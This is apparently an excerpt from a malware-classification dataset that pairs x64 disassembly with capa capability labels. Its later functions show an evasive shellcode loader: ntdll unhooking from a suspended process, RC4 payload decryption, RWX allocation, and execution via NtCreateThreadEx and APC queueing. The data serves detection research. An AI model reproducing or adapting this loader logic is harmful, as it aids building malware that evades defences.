joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401b4360
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1404be7d4]
mov r12, rcx
test ebx, ebx
jle 0x1401b4490
mov rax, qword [0x1404be7d8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1401b43ac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1401b4433
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1401b4390
mov rcx, r12
call fcn.1401b4d00
mov rsi, rax
test rax, rax
je 0x1401b44b2
mov rax, qword [0x1404be7d8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1401b4e30
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1404be7d8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1401b4497
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1401b442c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1401b4440
add dword [0x1404be7d4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1404be7d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1401b442c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1401b42f0
nop dword [rax]
xor ebx, ebx
jmp 0x1401b43b7
mov rax, qword [0x1404be7d8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1401b42f0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1401b42f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1401b4970
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1404be840]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1404be820]
test rbx, rbx
je 0x1401b49c4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1401b49bb
test r12, r12
je 0x1401b49bb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1401b49a0
lea rcx, [0x1404be840]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1401b4d00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140456ba0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1401b4d20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1401b4d28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1401b4d20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1401b4d75
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1401b4d6c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1401b4d20
add rax, 0x28
cmp rax, r9
jne 0x1401b4d58
xor eax, eax
ret

Function at 0x1401b4d80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140456ba0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1401b4da0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1401b4da8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1401b4da0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1401b4e30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140456ba0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1401b4e50
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1401b4e58
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1401b67e0
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x140456c20]
mov rax, qword [rsi]
test rax, rax
je 0x1401b6870
cmp qword [rax + 0x30], 0
jne 0x1401b6890
lea rbx, [0x1401e8bc8]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x1401b6840
cmp qword [rax + 0x30], 0
jne 0x1401b6860
lea rdx, [0x1401e8bc8]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x1401bf650
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.1401bb6e0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x1401b6822
test rax, rax
jne 0x1401b6860
call fcn.1401bb6e0
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x1401b6830
call fcn.1401bb6e0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x1401b6800
test rax, rax
jne 0x1401b6890
call fcn.1401bb6e0
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x1401b680b
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x1401b68a0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x1401b69b2
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x1401b698a
add rax, 1
cmp rax, 0x6b
je 0x1401b69a7
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x1401b6980
cmp edx, 0x6a
je 0x1401b69a7
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x1401b699b
Function at 0x1401b73c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rsi, qword [0x140456c20]
mov rax, qword [rsi]
test rax, rax
je 0x1401b75b0
cmp qword [rax + 0x28], 0
jne 0x1401b7598
lea rcx, [0x1404be8f8]
cmp dword [rcx], 1
mov qword [rax + 0x28], rcx
je 0x1401b75a5
call fcn.1401b69d0
mov rax, qword [rsi]
test rax, rax
je 0x1401b7440
cmp qword [rax + 0x30], 0
jne 0x1401b7460
lea rdx, [0x1401e8bc8]
mov qword [rax + 0x30], rdx
mov rax, rdx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x1401b7474
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.1401bb6e0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x1401b7410
test rax, rax
jne 0x1401b7460
call fcn.1401bb6e0
nop dword [rax]
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
jne 0x1401b742e
call fcn.1401b6510
cmp qword [0x1404c2050], 0
mov rbx, rax
je 0x1401b742e
test rax, rax
je 0x1401b742e
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.1401bd580
cmp eax, 1
je 0x1401b761d
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1401bf656
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [rsi]
test rax, rax
je 0x1401b75f8
cmp qword [rax + 0x30], 0
je 0x1401b75e0
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x1401bf656
mov r12, rbx
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1401b73fc
mov rax, qword [rsi]
jmp 0x1401b7409
call fcn.1401bb6e0
cmp qword [rax + 0x28], 0
mov rax, qword [rsi]
je 0x1401b73e8
test rax, rax
jne 0x1401b7598
call fcn.1401bb6e0
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1401b73fc
jmp 0x1401b7401
lea rdx, [0x1401e8bc8]
mov qword [rax + 0x30], rdx
mov rax, rdx
jmp 0x1401b756e
call fcn.1401bb6e0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x1401b75e0
test rax, rax
jne 0x1401b756a
call fcn.1401bb6e0
jmp 0x1401b756a
call fcn.1401b68a0
nop word cs:[rax + rax]
nop dword [rax]
mov rax, qword [0x140456c20]
mov rdx, qword [rax]
lea rax, [0x1404be908]
mov qword [rdx + 0x10], rax
ret
Function at 0x1401bb560
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1401bb580
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x1401bb5c8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1401bb574
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1401bb5b5
Function at 0x1401bb6e0
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1404be9e0]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x1401bb703
lea rax, [0x1404be9e8]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x1401bb74b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x1401bb748
lea rax, [0x1404bea20]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x1401bb77b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x1401bb778
xor ecx, ecx
mov byte [0x1404bea39], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x1404bea42], rdx
lea r8, [0x1404be9e0]
lea rbx, [0x1404bea3a]
mov qword [0x1404bea52], rdx
mov qword [0x1404bea62], rdx
mov qword [0x1404bea72], rdx
xor edx, edx
mov qword [0x1404bea3a], rax
mov qword [0x1404bea4a], rax
mov qword [0x1404bea5a], rax
mov qword [0x1404bea6a], rax
mov byte [0x1404bea7a], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1401bb956
lea rcx, [0x1404bea20]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x1401bb8a1
lea rsi, [0x1404be920]
lea r8, [0x1404bea7a]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x1401bb84d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x1401bb840
lea rcx, [0x1404bea20]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x1401bb943
lea rcx, [0x1401bb5f0]
mov qword [0x1404be920], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1404be920]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x1404bea20]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x1404bea7a]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x1401bb976
nop dword [rax]
cmp byte [rax], 0x41
jne 0x1401bb8f3
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x1401bb8e0
mov rax, rdx
mov qword [0x1404be920], rax
lea rsi, [0x1404be920]
jmp 0x1401bb919
cmp rdx, rsi
je 0x1401bb87f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x1401bb910
cmp rdx, rsi
je 0x1401bb87f
mov qword [rdx + 8], rsi
lea rcx, [0x1401bb5f0]
call sub.msvcrt.dll__onexit
jmp 0x1401bb87f
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.1401bb560
xor eax, eax
jmp 0x1401bb898
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.1401bb560
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.1401bb560
xor eax, eax
jmp 0x1401bb8ff
Function at 0x140001e40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001e9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001e93
test rsi, rsi
je 0x140001e93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005820]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005820]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005820]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002540
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002930
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x110
mov rsi, qword [0x1400058f0]
mov ecx, 0x1a
xor r9d, r9d
mov rax, qword [rsi]
mov qword [rsp + 0x108], rax
xor eax, eax
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x70]
mov rdi, rdx
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor eax, eax
xor r8d, r8d
mov qword [rsp + 0x40], rdx
lea rcx, [0x140005060]
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0x70], 0
jne 0x1400029b9
xor ebx, ebx
jmp 0x140002a49
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x88]
mov rdx, rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x58], r8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8, qword [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, dword [rsp + 0x90]
mov rbx, rax
mov rdx, qword [rsp + 0x88]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400029b2
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0x108]
sub rax, qword [rsi]
je 0x140002a5b
call fcn.140002510
mov rax, rbx
add rsp, 0x110
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002a70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov r13, qword [0x1400058f0]
mov rax, qword [r13]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.NTDLL.DLL
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.NtAllocateVirtualMemory
mov r14, rax
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtQueueApcThread
mov rcx, r14
mov rdi, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtCreateThreadEx
mov rcx, r14
mov r12, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtWaitForSingleObject
mov rcx, r14
mov r15, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtClose
mov rcx, r14
mov rbp, rax
call sub.KERNEL32.dll_GetProcAddress
xor r10d, r10d
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], r10
lea rdx, [rsp + 0x60]
mov r14, rax
mov eax, ebx
mov qword [rsp + 0x68], r10
lea r9, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call rdi
test eax, eax
jne 0x140002bcf
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor edx, edx
xor r8d, r8d
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call r15
test eax, eax
jne 0x140002bcf
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call r12
test eax, eax
jne 0x140002bcf
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002bc7
xor r8d, r8d
mov edx, 1
call rbp
mov rcx, qword [rsp + 0x68]
call r14
mov rax, qword [rsp + 0x78]
sub rax, qword [r13]
je 0x140002be0
call fcn.140002510
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002d20
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x1400058f0]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x140002d6b
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002c00
cmp rsi, 0x100
jne 0x140002d95
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140002e25
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002c00
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140002dd0
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140002e37
call fcn.140002510
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x140002fe0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rdi, qword [0x1400058f0]
xor r13d, r13d
mov rax, qword [rdi]
mov qword [rsp + 0x38], rax
xor eax, eax
call fcn.140002930
lea rcx, str.ntdll.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rbx, dword [rbp + 0x3c]
mov r12, rax
xor eax, eax
mov dword [rsp + 0x34], eax
add rbx, rbp
lea r15, [rbx + 0x18]
movzx eax, word [rbx + 6]
cmp eax, r13d
jle 0x1400030ba
imul rax, r13, 0x28
movzx r10d, word [rbx + 0x14]
lea rdx, str..text
add r10, r15
lea r14, [r10 + rax]
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140003062
inc r13
jmp 0x14000302d
mov ecx, dword [r14 + 0xc]
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov edx, dword [r14 + 8]
mov qword [rsp + 0x28], r9
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400030ba
mov esi, dword [r14 + 0xc]
mov ecx, dword [r14 + 8]
